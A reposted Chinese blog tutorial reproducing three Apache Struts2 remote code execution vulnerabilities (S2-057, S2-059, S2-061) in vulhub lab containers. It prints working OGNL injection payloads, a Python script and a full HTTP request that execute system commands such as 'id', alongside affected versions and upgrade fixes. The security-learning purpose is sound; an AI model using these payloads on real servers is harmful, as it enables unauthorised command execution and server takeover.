程序员最近都爱上了这个网站  程序员们快来瞅瞅吧!  it98k网:it98k.com

本站消息

站长简介/公众号

  出租广告位,需要合作请联系站长


+关注
已关注

分类  

暂无分类

标签  

暂无标签

日期归档  

2023-06(4)

Struts2 远程命令执行漏洞

发布于2021-06-12 14:34     阅读(904)     评论(0)     点赞(13)     收藏(4)


Struts2 远程命令执行漏洞

0x00 前言

框架技术已经被广泛应用,越来越多的开发者喜欢使用框架,框架让开发变得更简单、更省时、更高效。现如今有名的 Java 三大框架 (Hibernate、Spring和Struts)

使用框架是好事还是坏事呢,对开发者,是好事,但是一旦出现了,安全漏洞,则是致命的,框架的用户群体使用越多,危害越大

0x01 Struts2 简介

Struts 是一个优秀的 MVC 框架,被称为 Java 的三大框架之一,你可以想象使用 Struts 的用户有多少,但是 Struts 的第二个版本爆发了很多致命的命令执行漏洞,所有使用Struts2 开发应用程序几乎都受到了影响。

Struts1 最初是独立的 MVC 框架,但是 Struts2 改写了 Struts1 的核心技术,换了一个习新的面貌,在底层采用了 XWORK 的核心。

XWORK 也是一个 MVC 框架,是 Struts1 的强力竞争对手,Struts1推广业务做得好,用户量要比 XWORK 多很多,但是从技术角度看,框架结构却没有 XWORK做得好,而 Strdent2 是在 Struts1 和 XWORK 技术基础上进行了合并,Struts2 与 Struts1 可以说相差非常大,算是一个全新的框架,

Struts 在历史上爆发了非常多的漏洞,其中几个比较知名的高危漏洞都是 Struts2 的代码执行漏洞。这里我们列举三个远程命令执行漏洞 历史漏洞官网

image-20210608110218052

这里使用的靶场还是 vulhub

0x02 Struts2 S2-057 远程命令执行漏洞(CVE-2018-11776)

1.漏洞概述

2018年8月22日,Apache Strust2发布最新安全公告,Apache Struts2存在远程代码执行的高危漏洞(S2-057/CVE-2018-11776),该漏洞由Semmle Security Research team的安全研究员Man YueMo发现。可能远程执行代码时 alwaysSelectFullNamespacetrue(通过用户或类似公约插件的一个插件),然后:结果与没有使用namespace和在同一时间时,其上package没有或通配符namespace和类似的结果,当使用相同的可能性url标签,其不havevalueactionset 并且同时,它的上边package有 no 或 wildcard namespace

2.1 影响版本

  • Struts 2.0.4 - Struts 2.3.34
  • Struts 2.5.0 - Struts 2.5.16

2.2 漏洞修复

升级到Struts 2.3.35或Struts [2.5.17

2.漏洞复现

本实验版本 Struts 2.3.34 环境

进入vulhub 目录下的 Struts2/s2-057

[root@localhost s2-057]# docker-compose up -d

在 URL处输入 http://192.168.37.129:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action

/struts2-showcase/$%7B233*233%7D/actionChain1.action

image-20210608155812020

按回车发现命令被执行了,说明存在漏洞

image-20210608155701405

使用来自 S2-057 漏洞和 POC 的有效载荷:

/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}/actionChain1.action

编码后的

/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action

执行命令结果

image-20210608160401251

0x03 Struts2 S2-059远程代码执行漏洞(CVE-2019-0230)

1.漏洞概述

Apache Struts框架, 会对某些特定的标签的属性值,比如id属性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式,造成OGNL表达式注入。从而可能造成远程执行代码。

受影响的版本:Struts 2.0.0 - Struts 2.5.20

2.漏洞复现

环境依旧是 vulhub Struts 2.5.16

docker-compose up -d

访问 http://192.168.37.129:8080/?id=%25%7B233*233%7D ,可以看到 id 属性中已经返回了 233*233的结果,引发 OGNL 表达式解析

image-20210608191947110

POC绕过 Struts 2.5.16 版本的沙盒的 POC,利用这个 poc 可以达到执行系统命令

通过Python脚本复现漏洞

import requests

url = "http://127.0.0.1:8080"
data1 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)

image-20210609085319699

漏洞分析可以看这篇 Struts2-059 远程代码执行漏洞(CVE-2019-0230)分析

0x04 Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)

1.漏洞概述

Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,可能照成控制服务器等危害。S2-061是对S2-059沙盒进行的绕过

1.2 漏洞影响范围

Apache Struts 2.0.0-2.5.25

1.3 修复方案

升级到Struts 2.5.26或更高版本

2.漏洞复现

还是使用 vulhub 靶场

[root@localhost s2-061]# docker-compose up -d

访问目标地址 http://192.168.37.129:8080/?id=3

image-20210609094240406

发送如下包就能执行 id 命令

POST /index.action HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 829

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

修改localhost IP 为目标机的 IP 即可 POC地址

image-20210609102137266

漏洞分析 可以看这篇文章 Struts2 S2-061漏洞分析(CVE-2020-17530)

参考链接

S2-057

Struts2 S2-057 远程代码执行漏洞

Struts2 S2-059 远程代码执行漏洞

Struts2 S2-061 远程命令执行漏洞

原文链接:https://blog.csdn.net/fengzilin1973/article/details/117733322



所属网站分类: 技术文章 > 博客

作者:怎么没有鱼儿上钩呢

链接:http://www.javaheidong.com/blog/article/222293/057eb60d754b7b20c405/

来源:java黑洞网

任何形式的转载都请注明出处,如有侵权 一经发现 必将追究其法律责任

13 0
收藏该文
已收藏

评论内容:(最多支持255个字符)